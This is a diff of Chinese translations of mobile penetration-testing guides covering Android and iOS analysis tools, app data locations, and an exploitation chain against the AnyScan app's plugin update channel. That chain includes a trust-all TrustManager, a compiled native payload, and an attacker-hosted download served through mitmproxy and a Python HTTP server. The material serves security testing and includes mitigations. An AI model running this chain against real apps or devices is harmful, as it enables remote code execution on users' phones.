@ -503,7 +503,7 @@ getWindow().setFlags(LayoutParams.FLAG_SECURE, LayoutParams.FLAG_SECURE);
|
|||||||
- **意图注入** 类似于网络的开放重定向问题。
|
- **意图注入** 类似于网络的开放重定向问题。
|
||||||
- 利用涉及将 `Intent` 对象作为额外参数传递,这可能被重定向以执行不安全的操作。
|
- 利用涉及将 `Intent` 对象作为额外参数传递,这可能被重定向以执行不安全的操作。
|
||||||
- 它可以将未导出的组件和内容提供者暴露给攻击者。
|
- 它可以将未导出的组件和内容提供者暴露给攻击者。
|
||||||
- `WebView` 的 URL 到 `Intent` 的转换可以促进意外操作。
|
- `WebView` 的 URL 到 `Intent` 的转换可能促进意外操作。
|
||||||
|
|
||||||
### Android 客户端侧注入及其他
|
### Android 客户端侧注入及其他
|
||||||
|
|
||||||
@ -563,7 +563,7 @@ MobSF 还允许您加载自己的 **Frida 脚本**(要将您的 Frida 脚本
|
|||||||
- **捕获字符串比较**:可能非常有用。它将 **显示正在比较的两个字符串** 以及结果是 True 还是 False。
|
- **捕获字符串比较**:可能非常有用。它将 **显示正在比较的两个字符串** 以及结果是 True 还是 False。
|
||||||
- **枚举类方法**:输入类名(如 "java.io.File"),它将打印该类的所有方法。
|
- **枚举类方法**:输入类名(如 "java.io.File"),它将打印该类的所有方法。
|
||||||
- **搜索类模式**:按模式搜索类
|
- **搜索类模式**:按模式搜索类
|
||||||
- **跟踪类方法**:**跟踪** 一个 **整个类**(查看该类所有方法的输入和输出)。请记住,默认情况下 MobSF 跟踪几个有趣的 Android API 方法。
|
- **跟踪类方法**:**跟踪** 一个 **整个类**(查看该类所有方法的输入和输出)。请记住,默认情况下 MobSF 跟踪多个有趣的 Android API 方法。
|
||||||
|
|
||||||
一旦您选择了要使用的辅助模块,您需要按“**开始仪器化**”,您将看到所有输出在“**Frida 实时日志**”中。
|
一旦您选择了要使用的辅助模块,您需要按“**开始仪器化**”,您将看到所有输出在“**Frida 实时日志**”中。
|
||||||
|
|
||||||
@ -580,8 +580,8 @@ receivers
|
|||||||
```
|
```
|
||||||
**HTTP工具**
|
**HTTP工具**
|
||||||
|
|
||||||
当http流量被捕获时,您可以在“**HTTP(S) Traffic**”底部看到捕获流量的丑陋视图,或在“**Start HTTPTools**”绿色按钮中看到更好的视图。从第二个选项中,您可以**发送** **捕获的请求**到像Burp或Owasp ZAP这样的**代理**。\
|
当http流量被捕获时,您可以在“**HTTP(S) Traffic**”底部看到捕获流量的丑陋视图,或者在“**Start HTTPTools**”绿色按钮中看到更好的视图。从第二个选项中,您可以**发送**捕获的**请求**到像Burp或Owasp ZAP这样的**代理**。\
|
||||||
为此,_打开Burp -->_ _关闭拦截 --> 在MobSB HTTPTools中选择请求_ --> 按下“**Send to Fuzzer**” --> _选择代理地址_ ([http://127.0.0.1:8080\\](http://127.0.0.1:8080))。
|
要做到这一点,_打开Burp -->_ _关闭拦截 --> 在MobSB HTTPTools中选择请求_ --> 按下“**Send to Fuzzer**” --> _选择代理地址_ ([http://127.0.0.1:8080\\](http://127.0.0.1:8080))。
|
||||||
|
|
||||||
完成MobSF的动态分析后,您可以按“**Start Web API Fuzzer**”来**模糊http请求**并寻找漏洞。
|
完成MobSF的动态分析后,您可以按“**Start Web API Fuzzer**”来**模糊http请求**并寻找漏洞。
|
||||||
|
|
||||||
@ -605,7 +605,7 @@ receivers
|
|||||||
|
|
||||||
### [Qark](https://github.com/linkedin/qark)
|
### [Qark](https://github.com/linkedin/qark)
|
||||||
|
|
||||||
该工具旨在查找多个**与安全相关的Android应用程序漏洞**,无论是在**源代码**还是**打包的APK**中。该工具还**能够创建可部署的“概念验证”APK**和**ADB命令**,以利用一些发现的漏洞(暴露的活动、意图、tapjacking...)。与Drozer一样,测试设备无需root。
|
该工具旨在查找多个**与安全相关的Android应用程序漏洞**,无论是在**源代码**还是**打包的APK**中。该工具还**能够创建可部署的“概念验证”APK**和**ADB命令**,以利用一些发现的漏洞(暴露的活动、意图、点击劫持...)。与Drozer一样,测试设备无需root。
|
||||||
```bash
|
```bash
|
||||||
pip3 install --user qark # --user is only needed if not using a virtualenv
|
pip3 install --user qark # --user is only needed if not using a virtualenv
|
||||||
qark --apk path/to/my.apk
|
qark --apk path/to/my.apk
|
||||||
@ -639,7 +639,7 @@ super-analyzer {apk_file}
|
|||||||
|
|
||||||
StaCoAn 是一个 **跨平台** 工具,帮助开发者、漏洞赏金猎人和道德黑客对移动应用程序进行 [静态代码分析](https://en.wikipedia.org/wiki/Static_program_analysis)。
|
StaCoAn 是一个 **跨平台** 工具,帮助开发者、漏洞赏金猎人和道德黑客对移动应用程序进行 [静态代码分析](https://en.wikipedia.org/wiki/Static_program_analysis)。
|
||||||
|
|
||||||
其概念是将您的移动应用程序文件(.apk 或 .ipa 文件)拖放到 StaCoAn 应用程序上,它将为您生成一个可视化和便携的报告。您可以调整设置和词汇表,以获得定制的体验。
|
其概念是将您的移动应用程序文件(.apk 或 .ipa 文件)拖放到 StaCoAn 应用程序中,它将为您生成一个可视化和便携的报告。您可以调整设置和词汇表,以获得定制的体验。
|
||||||
|
|
||||||
下载 [最新版本](https://github.com/vincentcox/StaCoAn/releases):
|
下载 [最新版本](https://github.com/vincentcox/StaCoAn/releases):
|
||||||
```
|
```
|
||||||
@ -684,11 +684,11 @@ python androwarn.py -i my_application_to_be_analyzed.apk -r html -v 3
|
|||||||
|
|
||||||
## 混淆/去混淆代码
|
## 混淆/去混淆代码
|
||||||
|
|
||||||
请注意,具体取决于您用于混淆代码的服务和配置。秘密可能会或可能不会被混淆。
|
请注意,具体取决于您用于混淆代码的服务和配置。秘密可能会被混淆或不被混淆。
|
||||||
|
|
||||||
### [ProGuard](<https://en.wikipedia.org/wiki/ProGuard_(software)>)
|
### [ProGuard](<https://en.wikipedia.org/wiki/ProGuard_(software)>)
|
||||||
|
|
||||||
来自 [Wikipedia](<https://en.wikipedia.org/wiki/ProGuard_(software)>): **ProGuard** 是一个开源命令行工具,用于缩小、优化和混淆 Java 代码。它能够优化字节码,并检测和删除未使用的指令。ProGuard 是自由软件,按照 GNU 通用公共许可证第 2 版分发。
|
来自 [Wikipedia](<https://en.wikipedia.org/wiki/ProGuard_(software)>): **ProGuard** 是一个开源命令行工具,用于缩小、优化和混淆 Java 代码。它能够优化字节码,并检测和删除未使用的指令。ProGuard 是免费软件,按照 GNU 通用公共许可证第 2 版分发。
|
||||||
|
|
||||||
ProGuard 作为 Android SDK 的一部分分发,并在以发布模式构建应用程序时运行。
|
ProGuard 作为 Android SDK 的一部分分发,并在以发布模式构建应用程序时运行。
|
||||||
|
|
||||||
@ -696,7 +696,7 @@ ProGuard 作为 Android SDK 的一部分分发,并在以发布模式构建应
|
|||||||
|
|
||||||
在 [https://blog.lexfo.fr/dexguard.html](https://blog.lexfo.fr/dexguard.html) 找到去混淆 APK 的逐步指南。
|
在 [https://blog.lexfo.fr/dexguard.html](https://blog.lexfo.fr/dexguard.html) 找到去混淆 APK 的逐步指南。
|
||||||
|
|
||||||
(来自该指南)我们最后检查时,Dexguard 的操作模式是:
|
(来自该指南)上次我们检查时,Dexguard 的操作模式是:
|
||||||
|
|
||||||
- 将资源加载为 InputStream;
|
- 将资源加载为 InputStream;
|
||||||
- 将结果传递给继承自 FilterInputStream 的类以进行解密;
|
- 将结果传递给继承自 FilterInputStream 的类以进行解密;
|
||||||
@ -706,17 +706,17 @@ ProGuard 作为 Android SDK 的一部分分发,并在以发布模式构建应
|
|||||||
|
|
||||||
### [DeGuard](http://apk-deguard.com)
|
### [DeGuard](http://apk-deguard.com)
|
||||||
|
|
||||||
**DeGuard 逆转了 Android 混淆工具执行的混淆过程。这使得进行多种安全分析成为可能,包括代码检查和预测库。**
|
**DeGuard 逆转 Android 混淆工具执行的混淆过程。这使得进行多种安全分析成为可能,包括代码检查和预测库。**
|
||||||
|
|
||||||
您可以将混淆的 APK 上传到他们的平台。
|
您可以将混淆的 APK 上传到他们的平台。
|
||||||
|
|
||||||
### [Deobfuscate android App](https://github.com/In3tinct/deobfuscate-android-app)
|
### [Deobfuscate android App](https://github.com/In3tinct/deobfuscate-android-app)
|
||||||
|
|
||||||
这是一个 LLM 工具,用于查找 Android 应用中的潜在安全漏洞并去混淆 Android 应用代码。使用 Google 的 Gemini 公共 API。
|
这是一个 LLM 工具,用于查找 Android 应用程序中的潜在安全漏洞并去混淆 Android 应用程序代码。使用 Google 的 Gemini 公共 API。
|
||||||
|
|
||||||
### [Simplify](https://github.com/CalebFenton/simplify)
|
### [Simplify](https://github.com/CalebFenton/simplify)
|
||||||
|
|
||||||
它是一个 **通用的 Android 去混淆器。** Simplify **虚拟执行应用程序** 以理解其行为,然后 **尝试优化代码** 使其表现相同,但更易于人类理解。每种优化类型都是简单和通用的,因此无论使用何种特定类型的混淆都无关紧要。
|
它是一个 **通用的 Android 去混淆器。** Simplify **虚拟执行应用程序** 以理解其行为,然后 **尝试优化代码** 使其行为相同,但更易于人类理解。每种优化类型都是简单和通用的,因此无论使用何种特定类型的混淆都无关紧要。
|
||||||
|
|
||||||
### [APKiD](https://github.com/rednaga/APKiD)
|
### [APKiD](https://github.com/rednaga/APKiD)
|
||||||
|
|
||||||
|
@ -4,13 +4,13 @@
|
|||||||
|
|
||||||
许多Android应用程序实现了**自己的“插件”或“动态特性”更新通道**,而不是使用Google Play商店。当实现不安全时,能够拦截流量的攻击者可以提供**任意本地代码,该代码将在应用程序进程中加载**,导致手机上的完全远程代码执行(RCE)——在某些情况下,还可以在应用控制的任何外部设备上执行(汽车、物联网、医疗设备等)。
|
许多Android应用程序实现了**自己的“插件”或“动态特性”更新通道**,而不是使用Google Play商店。当实现不安全时,能够拦截流量的攻击者可以提供**任意本地代码,该代码将在应用程序进程中加载**,导致手机上的完全远程代码执行(RCE)——在某些情况下,还可以在应用控制的任何外部设备上执行(汽车、物联网、医疗设备等)。
|
||||||
|
|
||||||
本页面总结了在Xtool **AnyScan** 汽车诊断应用程序(v4.40.11 → 4.40.40)中发现的真实漏洞链,并将该技术进行概括,以便您可以审核其他Android应用程序并在红队参与期间利用配置错误。
|
本页面总结了在Xtool **AnyScan** 汽车诊断应用程序(v4.40.11 → 4.40.40)中发现的真实漏洞链,并将该技术进行概括,以便您可以审核其他Android应用程序并在红队参与期间利用该错误配置。
|
||||||
|
|
||||||
---
|
---
|
||||||
## 1. 识别不安全的TLS TrustManager
|
## 1. 识别不安全的TLS TrustManager
|
||||||
|
|
||||||
1. 使用jadx / apktool反编译APK并定位网络堆栈(OkHttp、HttpUrlConnection、Retrofit等)。
|
1. 使用jadx / apktool反编译APK并定位网络堆栈(OkHttp、HttpUrlConnection、Retrofit等)。
|
||||||
2. 寻找一个**自定义的`TrustManager`**或`HostnameVerifier`,该管理器盲目信任每个证书:
|
2. 寻找一个**自定义的`TrustManager`**或`HostnameVerifier`,该组件盲目信任每个证书:
|
||||||
```java
|
```java
|
||||||
public static TrustManager[] buildTrustManagers() {
|
public static TrustManager[] buildTrustManagers() {
|
||||||
return new TrustManager[]{
|
return new TrustManager[]{
|
||||||
@ -35,7 +35,7 @@ https://apigw.xtoolconnect.com/uhdsvc/UpgradeService.asmx/GetUpdateListEx
|
|||||||
```
|
```
|
||||||
响应体是一个 **XML 文档**,其 `<FileData>` 节点包含 **Base64 编码的,DES-ECB 加密的** JSON,描述每个可用插件。
|
响应体是一个 **XML 文档**,其 `<FileData>` 节点包含 **Base64 编码的,DES-ECB 加密的** JSON,描述每个可用插件。
|
||||||
|
|
||||||
典型的猎杀步骤:
|
典型的搜索步骤:
|
||||||
1. 定位加密例程(例如 `RemoteServiceProxy`)并恢复:
|
1. 定位加密例程(例如 `RemoteServiceProxy`)并恢复:
|
||||||
* 算法(DES / AES / RC4 …)
|
* 算法(DES / AES / RC4 …)
|
||||||
* 操作模式(ECB / CBC / GCM …)
|
* 操作模式(ECB / CBC / GCM …)
|
||||||
@ -72,9 +72,9 @@ $ aarch64-linux-android-gcc -shared -fPIC payload.c -o libscan_x64.so
|
|||||||
$ zip -r PWNED.zip libscan_x64.so assets/ meta.txt
|
$ zip -r PWNED.zip libscan_x64.so assets/ meta.txt
|
||||||
```
|
```
|
||||||
2. 更新 JSON 元数据,使得 `"FileName" : "PWNED.zip"` 和 `"DownloadURL"` 指向你的 HTTP 服务器。
|
2. 更新 JSON 元数据,使得 `"FileName" : "PWNED.zip"` 和 `"DownloadURL"` 指向你的 HTTP 服务器。
|
||||||
3. 对修改后的 JSON 进行 DES 加密 + Base64 编码,并将其复制回拦截的 XML 中。
|
3. 对修改后的 JSON 进行 DES 加密 + Base64 编码,并将其复制回拦截的 XML 中。
|
||||||
|
|
||||||
## 4. 使用 mitmproxy 发送有效负载
|
## 4. 使用 mitmproxy 发送有效载荷
|
||||||
|
|
||||||
`addon.py` 示例,*静默* 交换原始元数据:
|
`addon.py` 示例,*静默* 交换原始元数据:
|
||||||
```python
|
```python
|
||||||
@ -110,7 +110,7 @@ python3 -m http.server 8000 --directory ./payloads
|
|||||||
---
|
---
|
||||||
### 检测与缓解清单(蓝队)
|
### 检测与缓解清单(蓝队)
|
||||||
|
|
||||||
* 永远不要使用自定义TrustManager/HostnameVerifier发布生产版本,这会禁用证书验证。
|
* 永远不要使用自定义TrustManager/HostnameVerifier禁用证书验证来发布生产版本。
|
||||||
* 不要从Google Play以外下载可执行代码。如果您*必须*,请使用相同的**apkSigning v2**密钥签署每个插件,并在加载之前验证签名。
|
* 不要从Google Play以外下载可执行代码。如果您*必须*,请使用相同的**apkSigning v2**密钥签署每个插件,并在加载之前验证签名。
|
||||||
* 用**AES-GCM**和服务器端轮换密钥替换弱/硬编码的加密。
|
* 用**AES-GCM**和服务器端轮换密钥替换弱/硬编码的加密。
|
||||||
* 验证下载归档的完整性(签名或至少SHA-256)。
|
* 验证下载归档的完整性(签名或至少SHA-256)。
|
||||||
|
@ -162,12 +162,12 @@ ios-hooking-with-objection.md
|
|||||||
|
|
||||||
### IPA结构
|
### IPA结构
|
||||||
|
|
||||||
**IPA文件**的结构本质上是一个**压缩包**。通过将其扩展名重命名为`.zip`,可以**解压缩**以揭示其内容。在这个结构中,**Bundle**代表一个完全打包的应用程序,准备安装。在其中,您会找到一个名为`<NAME>.app`的目录,封装了应用程序的资源。
|
**IPA文件**的结构本质上是一个**压缩包**。通过将其扩展名重命名为`.zip`,可以**解压缩**以揭示其内容。在此结构中,**Bundle**表示一个完全打包的应用程序,准备安装。在其中,您会找到一个名为`<NAME>.app`的目录,封装了应用程序的资源。
|
||||||
|
|
||||||
- **`Info.plist`**:此文件包含应用程序的特定配置细节。
|
- **`Info.plist`**:此文件包含应用程序的特定配置细节。
|
||||||
- **`_CodeSignature/`**:此目录包含一个plist文件,包含签名,确保包中所有文件的完整性。
|
- **`_CodeSignature/`**:此目录包含一个plist文件,包含签名,确保包中所有文件的完整性。
|
||||||
- **`Assets.car`**:一个压缩档案,存储图标等资产文件。
|
- **`Assets.car`**:一个压缩档案,存储图标等资产文件。
|
||||||
- **`Frameworks/`**:此文件夹包含应用程序的本地库,可能是`.dylib`或`.framework`文件的形式。
|
- **`Frameworks/`**:此文件夹包含应用程序的本地库,可能以`.dylib`或`.framework`文件的形式存在。
|
||||||
- **`PlugIns/`**:这可能包括应用程序的扩展,称为`.appex`文件,尽管它们并不总是存在。 \* [**`Core Data`**](https://developer.apple.com/documentation/coredata):用于保存应用程序的永久数据以供离线使用,缓存临时数据,并为您的应用在单个设备上添加撤消功能。要在单个iCloud帐户中的多个设备之间同步数据,Core Data会自动将您的架构镜像到CloudKit容器中。
|
- **`PlugIns/`**:这可能包括应用程序的扩展,称为`.appex`文件,尽管它们并不总是存在。 \* [**`Core Data`**](https://developer.apple.com/documentation/coredata):用于保存应用程序的永久数据以供离线使用,缓存临时数据,并为您的应用在单个设备上添加撤消功能。要在单个iCloud帐户中的多个设备之间同步数据,Core Data会自动将您的架构镜像到CloudKit容器中。
|
||||||
- [**`PkgInfo`**](https://developer.apple.com/library/archive/documentation/MacOSX/Conceptual/BPRuntimeConfig/Articles/ConfigApplications.html):`PkgInfo`文件是指定应用程序或包的类型和创建者代码的另一种方式。
|
- [**`PkgInfo`**](https://developer.apple.com/library/archive/documentation/MacOSX/Conceptual/BPRuntimeConfig/Articles/ConfigApplications.html):`PkgInfo`文件是指定应用程序或包的类型和创建者代码的另一种方式。
|
||||||
- **en.lproj, fr.proj, Base.lproj**:是包含特定语言资源的语言包,以及在不支持某种语言时的默认资源。
|
- **en.lproj, fr.proj, Base.lproj**:是包含特定语言资源的语言包,以及在不支持某种语言时的默认资源。
|
||||||
@ -191,20 +191,20 @@ $ plutil -convert xml1 Info.plist
|
|||||||
$ apt install libplist-utils
|
$ apt install libplist-utils
|
||||||
$ plistutil -i Info.plist -o Info_xml.plist
|
$ plistutil -i Info.plist -o Info_xml.plist
|
||||||
```
|
```
|
||||||
在 **Info.plist** 文件可以透露的众多信息中,显著条目包括应用权限字符串 (`UsageDescription`)、自定义 URL 方案 (`CFBundleURLTypes`) 和应用传输安全配置 (`NSAppTransportSecurity`)。这些条目以及其他如导出/导入的自定义文档类型 (`UTExportedTypeDeclarations` / `UTImportedTypeDeclarations`),可以通过检查文件或使用简单的 `grep` 命令轻松找到:
|
在 **Info.plist** 文件可以透露的众多信息中,显著条目包括应用权限字符串 (`UsageDescription`)、自定义 URL 方案 (`CFBundleURLTypes`) 和应用传输安全配置 (`NSAppTransportSecurity`)。这些条目,以及其他如导出/导入的自定义文档类型 (`UTExportedTypeDeclarations` / `UTImportedTypeDeclarations`),可以通过检查文件或使用简单的 `grep` 命令轻松找到:
|
||||||
```bash
|
```bash
|
||||||
$ grep -i <keyword> Info.plist
|
$ grep -i <keyword> Info.plist
|
||||||
```
|
```
|
||||||
**数据路径**
|
**数据路径**
|
||||||
|
|
||||||
在 iOS 环境中,目录专门用于 **系统应用程序** 和 **用户安装的应用程序**。系统应用程序位于 `/Applications` 目录下,而用户安装的应用程序则放置在 `/var/mobile/containers/Data/Application/` 下。这些应用程序被分配一个称为 **128-bit UUID** 的唯一标识符,使得手动定位应用程序文件夹的任务因目录名称的随机性而变得具有挑战性。
|
在 iOS 环境中,目录专门为 **系统应用** 和 **用户安装的应用** 指定。系统应用位于 `/Applications` 目录下,而用户安装的应用则放在 `/var/mobile/containers/Data/Application/` 下。这些应用被分配一个称为 **128-bit UUID** 的唯一标识符,使得手动定位应用文件夹的任务因目录名称的随机性而变得具有挑战性。
|
||||||
|
|
||||||
> [!WARNING]
|
> [!WARNING]
|
||||||
> 由于 iOS 中的应用程序必须被沙盒化,每个应用程序在 **`$HOME/Library/Containers`** 中也会有一个以应用程序的 **`CFBundleIdentifier`** 作为文件夹名称的文件夹。
|
> 由于 iOS 中的应用必须被沙盒化,每个应用在 **`$HOME/Library/Containers`** 中也会有一个以应用的 **`CFBundleIdentifier`** 作为文件夹名称的文件夹。
|
||||||
>
|
>
|
||||||
> 然而,这两个文件夹(数据和容器文件夹)都有文件 **`.com.apple.mobile_container_manager.metadata.plist`**,该文件在键 `MCMetadataIdentifier` 中链接了这两个文件。
|
> 然而,这两个文件夹(数据和容器文件夹)都有文件 **`.com.apple.mobile_container_manager.metadata.plist`**,该文件在键 `MCMetadataIdentifier` 中链接了这两个文件。
|
||||||
|
|
||||||
为了方便发现用户安装的应用程序的安装目录,**objection 工具** 提供了一个有用的命令 `env`。该命令显示了相关应用程序的详细目录信息。以下是如何使用此命令的示例:
|
为了方便发现用户安装的应用的安装目录,**objection 工具** 提供了一个有用的命令 `env`。该命令显示了相关应用的详细目录信息。以下是如何使用此命令的示例:
|
||||||
```bash
|
```bash
|
||||||
OWASP.iGoat-Swift on (iPhone: 11.1.2) [usb] # env
|
OWASP.iGoat-Swift on (iPhone: 11.1.2) [usb] # env
|
||||||
|
|
||||||
@ -219,7 +219,7 @@ LibraryDirectory /var/mobile/Containers/Data/Application/8C8E7EB0-BC9B-435B-8E
|
|||||||
```bash
|
```bash
|
||||||
find /private/var/containers -name "Progname*"
|
find /private/var/containers -name "Progname*"
|
||||||
```
|
```
|
||||||
像 `ps` 和 `lsof` 这样的命令也可以用来识别应用程序的进程和列出打开的文件,从而提供有关应用程序活动目录路径的见解:
|
命令如 `ps` 和 `lsof` 也可以用来识别应用程序的进程和列出打开的文件,从而提供有关应用程序活动目录路径的见解:
|
||||||
```bash
|
```bash
|
||||||
ps -ef | grep -i <app-name>
|
ps -ef | grep -i <app-name>
|
||||||
lsof -p <pid> | grep -i "/containers" | head -n 1
|
lsof -p <pid> | grep -i "/containers" | head -n 1
|
||||||
@ -227,7 +227,7 @@ lsof -p <pid> | grep -i "/containers" | head -n 1
|
|||||||
**Bundle directory:**
|
**Bundle directory:**
|
||||||
|
|
||||||
- **AppName.app**
|
- **AppName.app**
|
||||||
- 这是之前在IPA中看到的应用程序包,它包含了必要的应用程序数据、静态内容以及应用程序的编译二进制文件。
|
- 这是在IPA中看到的应用程序包,它包含了重要的应用程序数据、静态内容以及应用程序的编译二进制文件。
|
||||||
- 该目录对用户可见,但**用户无法写入**。
|
- 该目录对用户可见,但**用户无法写入**。
|
||||||
- 此目录中的内容**不被备份**。
|
- 此目录中的内容**不被备份**。
|
||||||
- 此文件夹的内容用于**验证代码签名**。
|
- 此文件夹的内容用于**验证代码签名**。
|
||||||
@ -248,18 +248,18 @@ lsof -p <pid> | grep -i "/containers" | head -n 1
|
|||||||
- 此目录中的内容**不被备份**。
|
- 此目录中的内容**不被备份**。
|
||||||
- 当应用程序未运行且存储空间不足时,操作系统可能会自动删除此目录的文件。
|
- 当应用程序未运行且存储空间不足时,操作系统可能会自动删除此目录的文件。
|
||||||
- **Library/Application Support/**
|
- **Library/Application Support/**
|
||||||
- 包含运行应用程序所需的**持久** **文件**。
|
- 包含运行应用程序所需的**持久****文件**。
|
||||||
- **对用户不可见**,且用户无法写入。
|
- 对**用户不可见**,且用户无法写入。
|
||||||
- 此目录中的内容**被备份**。
|
- 此目录中的内容**被备份**。
|
||||||
- 应用程序可以通过设置`NSURLIsExcludedFromBackupKey`来禁用路径。
|
- 应用程序可以通过设置`NSURLIsExcludedFromBackupKey`来禁用路径。
|
||||||
- **Library/Preferences/**
|
- **Library/Preferences/**
|
||||||
- 用于存储可以**在应用程序重启后仍然存在**的属性。
|
- 用于存储即使在应用程序重启后也能**持久化**的属性。
|
||||||
- 信息以未加密的形式保存在应用程序沙箱中的一个名为\[BUNDLE_ID].plist的plist文件中。
|
- 信息以未加密的形式保存在应用程序沙箱中的一个名为\[BUNDLE_ID].plist的plist文件中。
|
||||||
- 使用`NSUserDefaults`存储的所有键/值对都可以在此文件中找到。
|
- 所有使用`NSUserDefaults`存储的键/值对都可以在此文件中找到。
|
||||||
- **tmp/**
|
- **tmp/**
|
||||||
- 使用此目录写入**临时文件**,这些文件在应用程序启动之间不需要持久存在。
|
- 使用此目录来写入**临时文件**,这些文件在应用程序启动之间不需要持久化。
|
||||||
- 包含非持久的缓存文件。
|
- 包含非持久的缓存文件。
|
||||||
- **对用户不可见**。
|
- 对用户**不可见**。
|
||||||
- 此目录中的内容不被备份。
|
- 此目录中的内容不被备份。
|
||||||
- 当应用程序未运行且存储空间不足时,操作系统可能会自动删除此目录的文件。
|
- 当应用程序未运行且存储空间不足时,操作系统可能会自动删除此目录的文件。
|
||||||
|
|
||||||
@ -366,7 +366,7 @@ ios-basics.md
|
|||||||
{{#endref}}
|
{{#endref}}
|
||||||
|
|
||||||
> [!WARNING]
|
> [!WARNING]
|
||||||
> 以下存储信息的位置应在**安装应用程序后**、**检查应用程序的所有功能后**,甚至在**从一个用户注销并登录到另一个用户后**进行检查。\
|
> 以下存储信息的地方应在**安装应用程序后**、**检查应用程序的所有功能后**,甚至在**从一个用户注销并登录到另一个用户后**进行检查。\
|
||||||
> 目标是找到应用程序的**未保护敏感信息**(密码、令牌)、当前用户和之前登录用户的信息。
|
> 目标是找到应用程序的**未保护敏感信息**(密码、令牌)、当前用户和之前登录用户的信息。
|
||||||
|
|
||||||
### Plist
|
### Plist
|
||||||
@ -379,7 +379,7 @@ ios-basics.md
|
|||||||
|
|
||||||
此数据不能再通过受信任的计算机直接访问,但可以通过执行**备份**进行访问。
|
此数据不能再通过受信任的计算机直接访问,但可以通过执行**备份**进行访问。
|
||||||
|
|
||||||
您可以使用 objection 的 `ios nsuserdefaults get` 来**转储**使用 **`NSUserDefaults`** 保存的信息。
|
您可以使用 objection 的 `ios nsuserdefaults get` 来**转储**保存的信息。
|
||||||
|
|
||||||
要找到应用程序使用的所有 plist,您可以访问 `/private/var/mobile/Containers/Data/Application/{APPID}` 并运行:
|
要找到应用程序使用的所有 plist,您可以访问 `/private/var/mobile/Containers/Data/Application/{APPID}` 并运行:
|
||||||
```bash
|
```bash
|
||||||
@ -402,7 +402,7 @@ ios plist cat /private/var/mobile/Containers/Data/Application/<Application-UUID>
|
|||||||
```
|
```
|
||||||
### Core Data
|
### Core Data
|
||||||
|
|
||||||
[`Core Data`](https://developer.apple.com/library/content/documentation/Cocoa/Conceptual/CoreData/nsfetchedresultscontroller.html#//apple_ref/doc/uid/TP40001075-CH8-SW1) 是一个用于管理应用程序中对象模型层的框架。[Core Data 可以使用 SQLite 作为其持久存储](https://cocoacasts.com/what-is-the-difference-between-core-data-and-sqlite/),但该框架本身并不是数据库。\
|
[`Core Data`](https://developer.apple.com/library/content/documentation/Cocoa/Conceptual/CoreData/nsfetchedresultscontroller.html#//apple_ref/doc/uid/TP40001075-CH8-SW1) 是一个用于管理应用程序中对象模型层的框架。[Core Data 可以使用 SQLite 作为其持久存储](https://cocoacasts.com/what-is-the-difference-between-core-data-and-sqlite/),但该框架本身不是数据库。\
|
||||||
CoreData 默认不加密其数据。然而,可以向 CoreData 添加额外的加密层。有关更多详细信息,请参见 [GitHub Repo](https://github.com/project-imas/encrypted-core-data)。
|
CoreData 默认不加密其数据。然而,可以向 CoreData 添加额外的加密层。有关更多详细信息,请参见 [GitHub Repo](https://github.com/project-imas/encrypted-core-data)。
|
||||||
|
|
||||||
您可以在路径 `/private/var/mobile/Containers/Data/Application/{APPID}/Library/Application Support` 中找到应用程序的 SQLite Core Data 信息。
|
您可以在路径 `/private/var/mobile/Containers/Data/Application/{APPID}/Library/Application Support` 中找到应用程序的 SQLite Core Data 信息。
|
||||||
@ -434,7 +434,7 @@ NSLog(@"data stored in core data");
|
|||||||
### YapDatabase
|
### YapDatabase
|
||||||
|
|
||||||
[YapDatabase](https://github.com/yapstudios/YapDatabase) 是一个基于 SQLite 的键值存储。\
|
[YapDatabase](https://github.com/yapstudios/YapDatabase) 是一个基于 SQLite 的键值存储。\
|
||||||
由于 Yap 数据库是 sqlite 数据库,您可以使用上一节中提供的命令找到它们。
|
由于 Yap 数据库是 sqlite 数据库,您可以使用前一节中提供的命令找到它们。
|
||||||
|
|
||||||
### 其他 SQLite 数据库
|
### 其他 SQLite 数据库
|
||||||
|
|
||||||
@ -454,7 +454,7 @@ find ./ -name "*.sqlite" -or -name "*.db"
|
|||||||
|
|
||||||
### Realm 数据库
|
### Realm 数据库
|
||||||
|
|
||||||
[Realm Objective-C](https://realm.io/docs/objc/latest/) 和 [Realm Swift](https://realm.io/docs/swift/latest/) 提供了一个强大的数据存储替代方案,这是 Apple 所不提供的。默认情况下,它们 **以未加密的方式存储数据**,通过特定配置可以实现加密。
|
[Realm Objective-C](https://realm.io/docs/objc/latest/) 和 [Realm Swift](https://realm.io/docs/swift/latest/) 提供了一种强大的数据存储替代方案,这是 Apple 所不提供的。默认情况下,它们 **以未加密的方式存储数据**,通过特定配置可以实现加密。
|
||||||
|
|
||||||
数据库位于:`/private/var/mobile/Containers/Data/Application/{APPID}`。要探索这些文件,可以使用以下命令:
|
数据库位于:`/private/var/mobile/Containers/Data/Application/{APPID}`。要探索这些文件,可以使用以下命令:
|
||||||
```bash
|
```bash
|
||||||
@ -489,7 +489,7 @@ ls /private/var/mobile/Containers/Data/Application/{APPID}/Library/Application S
|
|||||||
|
|
||||||
iOS 将应用的 cookies 存储在每个应用文件夹中的 **`Library/Cookies/cookies.binarycookies`** 中。然而,开发者有时决定将它们保存在 **keychain** 中,因为提到的 **cookie 文件可以在备份中访问**。
|
iOS 将应用的 cookies 存储在每个应用文件夹中的 **`Library/Cookies/cookies.binarycookies`** 中。然而,开发者有时决定将它们保存在 **keychain** 中,因为提到的 **cookie 文件可以在备份中访问**。
|
||||||
|
|
||||||
要检查 cookies 文件,您可以使用 [**这个 python 脚本**](https://github.com/mdegrazia/Safari-Binary-Cookie-Parser) 或使用 objection 的 **`ios cookies get`。**\
|
要检查 cookies 文件,您可以使用 [**这个 python 脚本**](https://github.com/mdegrazia/Safari-Binary-Cookie-Parser) 或使用 objection 的 **`ios cookies get`**。\
|
||||||
**您还可以使用 objection 将这些文件转换为 JSON 格式并检查数据。**
|
**您还可以使用 objection 将这些文件转换为 JSON 格式并检查数据。**
|
||||||
```bash
|
```bash
|
||||||
...itudehacks.DVIAswiftv2.develop on (iPhone: 13.2.3) [usb] # ios cookies get --json
|
...itudehacks.DVIAswiftv2.develop on (iPhone: 13.2.3) [usb] # ios cookies get --json
|
||||||
@ -508,7 +508,7 @@ iOS 将应用的 cookies 存储在每个应用文件夹中的 **`Library/Cookies
|
|||||||
```
|
```
|
||||||
### Cache
|
### Cache
|
||||||
|
|
||||||
